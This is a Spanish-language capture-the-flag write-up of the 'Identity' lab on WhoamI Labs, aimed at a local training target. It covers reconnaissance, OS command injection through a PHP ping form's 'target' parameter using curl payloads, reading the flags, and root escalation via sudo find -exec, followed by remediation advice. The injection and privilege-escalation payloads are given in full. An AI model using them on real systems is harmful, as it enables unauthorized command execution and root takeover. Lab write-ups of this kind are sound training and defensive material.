WhoamI Labs - Identity (Junior Checklist #1)
📋 Resumen Ejecutivo
El laboratorio “Identity” expone una aplicación web PHP que simula una herramienta de diagnóstico de red. La aplicación es vulnerable a OS Command Injection (CWE-78) en el parámetro target, lo que permite ejecución remota de comandos (RCE) sin autenticación. Adicionalmente, el usuario comprometido (web-admin) cuenta con permisos de sudo mal configurados sobre el binario /usr/bin/find, lo que permite una escalada de privilegios trivial a root mediante la técnica documentada en GTFOBins.
| Campo | Valor |
|---|---|
| Plataforma | WhoamI Labs |
| Dificultad | Fácil (★☆☆☆☆☆☆☆) |
| IP objetivo | 172.17.0.2 |
| Vulnerabilidad principal | OS Command Injection → Privilege Escalation |
🔍 Reconocimiento
1
nmap -sV -sC -p- 172.17.0.2 -oN recon_identity.txt
PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
Única superficie expuesta es HTTP en el puerto 80. La página raíz responde con el default de Apache, indicando que la app real vive en una ruta no enlazada.
🕸️ Enumeración
1
gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt
index.php (Status: 200) [Size: 1266] index.html (Status: 200) [Size: 10671]
index.php responde con tamaño distinto al index.html por defecto de Apache — confirma una aplicación PHP real detrás de la página decorativa.
💥 Explotación — Command Injection
Baseline (comportamiento normal):
1
curl -s http://172.17.0.2/index.php -d "target=127.0.0.1" -o baseline.html
Confirmación de la vulnerabilidad:
1
curl -s http://172.17.0.2/index.php -d "target=127.0.0.1; whoami;"
rtt min/avg/max/mdev = 0.024/0.045/0.067/0.021 ms web-admin
⚠️ Nota técnica: el carácter
&rompe el parseo del shell del backend (probable filtro parcial). Se evitó su uso en payloads posteriores.
🚩 Flag de usuario
1
curl -s http://172.17.0.2/index.php -d "target=127.0.0.1; id; pwd;"
uid=1000(web-admin) gid=1000(web-admin) groups=1000(web-admin) | /var/www/html |
1
curl -s http://172.17.0.2/index.php -d "target=127.0.0.1; ls -la /home/web-admin/;"
Localiza user.txt. Lectura final:
1
curl -s http://172.17.0.2/index.php -d "target=127.0.0.1; cat /home/web-admin/user.txt;"
Flag: Identity{3num34t1on_1s_th3_k3y}
⬆️ Escalada de Privilegios
1
curl -s http://172.17.0.2/index.php -d "target=127.0.0.1; sudo -l;"
User web-admin may run the following commands on cb1192f9bd56: (ALL) NOPASSWD: /usr/bin/find
find es un binario catalogado en GTFOBins como vector de escalada, ya que su flag -exec hereda los privilegios de sudo.
1
curl -s http://172.17.0.2/index.php -d "target=127.0.0.1; sudo /usr/bin/find /etc/hostname -exec ls -la /root/ \;"
-r——– 1 root root 33 Apr 18 12:52 flag.txt
🚩 Flag de Root
1
curl -s http://172.17.0.2/index.php -d "target=127.0.0.1; sudo /usr/bin/find /etc/hostname -exec cat /root/flag.txt \;"
Flag: Identity{p0w3r_0f_th3_checklist}
🛡️ Remediación
- Command Injection: validar el input como IP con
filter_var($ip, FILTER_VALIDATE_IP); nunca concatenar directo enshell_exec(). - Sudo Misconfiguration: evitar
NOPASSWDsobre binarios con capacidad de ejecución arbitraria (find,vim,awk, etc. — catalogados en GTFOBins).
🧠 Lecciones aprendidas
- El caracter
&puede romper el shell del backend en filtros mal implementados — útil como técnica de debugging cuando un payload devuelve vacío. findcon sudoNOPASSWDes uno de los vectores de privesc más comunes y rápidos de verificar — siempre corrersudo -lcomo primer paso en cualquier post-explotación.













